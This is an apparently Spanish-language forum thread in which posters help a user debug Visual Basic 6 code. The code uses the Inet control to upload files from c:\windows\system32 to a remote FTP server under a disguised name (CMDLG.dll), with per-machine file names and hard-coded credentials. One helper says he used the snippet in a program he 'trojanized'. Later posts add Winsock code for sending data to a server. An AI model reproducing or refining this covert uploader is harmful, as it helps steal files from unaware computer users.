Mensajes

Deberas establecer la propiedad Multiline a True y agregar
el evento del control Text

Código [Seleccionar] Expandir

Private Sub Text1_Change()
Text1.SelStart = Len(Text1.Text)
End Sub

Lo que hace es decirle a la TextBox que apunte siempre a la ultima linea.

Espero te sirva

Saludos

ok, igual ahora estaba viendo de nuevo tu code, y recien me doy cuenta que intentaste definir system32 como variable para asignarle primero el nombre de la "ruta" y despues agregarle el nombre del file...

x una cuestion de prolijidad te diria que lo hagas con 2 variables
y el codigo deberia ser algo asi:

Código [Seleccionar] Expandir

Inet1.Execute "ftp://ftp.webcindario.com", "Put " & system32 & Archivo & "/Alwar/CMDLG.dll"

Donde Archivo seria la variable que contenga el nombre de archivo, pero como vos estabas escribiendo el codigo VB toma system32 como string y no como variable.

Saludos

bueno hay varias cosas para ver... aca lo que estas haciendo es subir el archivo

Código [Seleccionar] Expandir

system32.
asi nomas sin extension

a el server FTP en la carpeta /alwar con el nombre "CMDLG.dll2"

si esto es lo que queres hacer, y realmente existe todo deberia andar joya, ahora si el archivo que queres subir es el .dll o cualquier cosa distinta estas meando afuera del tarro todo mal.

explica bien que queres hacer y veo que onda.

Saludos

postea el fragmento de codigo xq probablemente debes estar poniendo mal algo

Saludos

Jajaj, todo bien, igual se notó que necesitabas que el file tenga un nombre distinto x maquina, por eso te puse el ejemplo con las variables.

Asi que buenisimo, me alegro que te haya servido.

calquier otra cosa avisa

Saludos

jejeje, es lo que me imaginaba nomas...

bueno, cuando yo te postee ese codigo... era solo para que lo tomes como ejemplo, no para que lo pongas tal cual.
Por otro lado, como recomendacion te diria que cuando preguntes algo y te lo contesten, uses eso para investigar como es que funciona y para que es cada parametro, para saber realmente lo que haces y no solo copy & pastear.

entendes que estas haciendo cuando escribis esta linea?

Código [Seleccionar] Expandir

Inet1.Execute , "PUT" & "c:\windows\system32" & "prueba.txt" & ".txt"

Es como si te conectaras al servidor FTP con el cliente FTP del terminal de windows y pusieras

Código [Seleccionar] Expandir

put c:\windows\system32\prueba.txt.txt

El cliente lo que va a hacer es buscar el archivo prueba.txt.txt en c:\windows\system32\ y lo va a subir al directorio en el que estes en el server.

y en realidad no hay espacio entre "put" y la ubicacion del file, asi que en realidad le estas mandando una mezcla de caracteres que nunca va a entender

Ahora, vayamos x partes

1. es realmente prueba.txt.txt el archivo que queres subir?
2. esta en windos\system32\ ?

creo que con esto es suficiente para que lo resuelvas, y no estoy de acuerdo con estas lineas estaticas pero por si no lo es:

Código [Seleccionar] Expandir

Inet1.Execute , "PUT c:\autoexec.bat"

entendes como funciona? uno en gral lo separa para hacer el codigo mas versatil, x ej si pongo

Código [Seleccionar] Expandir

Inet1.Execute , "PUT " & Source & " " & File & ".bat"

tendria antes que definir la variable Source, asignandole por ej c:\, y la variable File autoexec (sin el .bat xq se lo estas agregando en la linea)

Bueno, espero que te sirva todo esto, en gral no estoy de acuerdo con este tipo de explicaciones, soy mas partidario de tirar un par de lineas y decir: investigá (y en gral pruebo yo de antemano en google un par de strings a ver si aparece algo) pero hoy tenia ganas de escribir, y quizas a alguien le venga bien

Saludos.

es raro... tiene que andar...

espera... a ver... postea aca la linea que estas usando para subir el file (tal cual esta en tu code)

saludos

con esto seria suficiente... este pedazo de code lo usé en un programita mio que "troyanicé" x decirlo de alguna manera.. y anda joya


Inet1.URL = "ftp://ftp.tuftp.com.ar"
Inet1.UserName = "tuusuario"
Inet1.Password = "tupass"

' Inet1.Execute , "PUT " & "c:\windows\system32\" & nomArchivo & ".txt"

es muy simple... no podes tener problemas... igual lo adapte para que haga solo lo que vos queres...

Saludos

si, posta loco... no se ponen ni un poco las pilas...

y como podes escribir "OCSION" "JUARDAR" ?!?!?!?!?

mas tutoriales de VB y de Ortografia....

ahas, deberias usar

Código [Seleccionar] Expandir

winsock1.send data 'donde data es la variable con los datos a enviar


y en el server se crea el evento

Código [Seleccionar] Expandir

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
   Dim datos As String
   Winsock1.GetData data 'con esto recibis y asignas a "data" los datos que enviaste
End Sub

Saludos!